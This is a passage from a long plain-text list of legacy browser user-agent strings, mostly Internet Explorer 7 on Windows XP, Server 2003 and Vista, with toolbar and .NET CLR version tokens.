(compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 2.0.50727; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; SV1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Zango 10.0.370.0; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Zango 10.3.75.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe/10.0.648.204; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe/12.0.742.112; GTB7.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; en-US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; en-US; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iCafeMedia; GTB6; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.577; .NET CLR 3.5.20526) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; zh-cn) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Lunascape 5.0 alpha3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; Lunascape 6.1.7.21880) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04310.00; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; FunWebProducts; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; MathPlayer 2.10; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Q312461; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; SLCC1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.03) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.1; SV1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; GTB6.5; MathPlayer 2.20; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; FDM; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Seekmo 10.0.431.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Win64; x64; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Win64; x64; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0 SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.5); SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; ABPlayer_1.3.22; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FBSMTWB; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; AskTB5.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Alexa Toolbar; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; (R1 1.5); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; (R1 1.5); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; 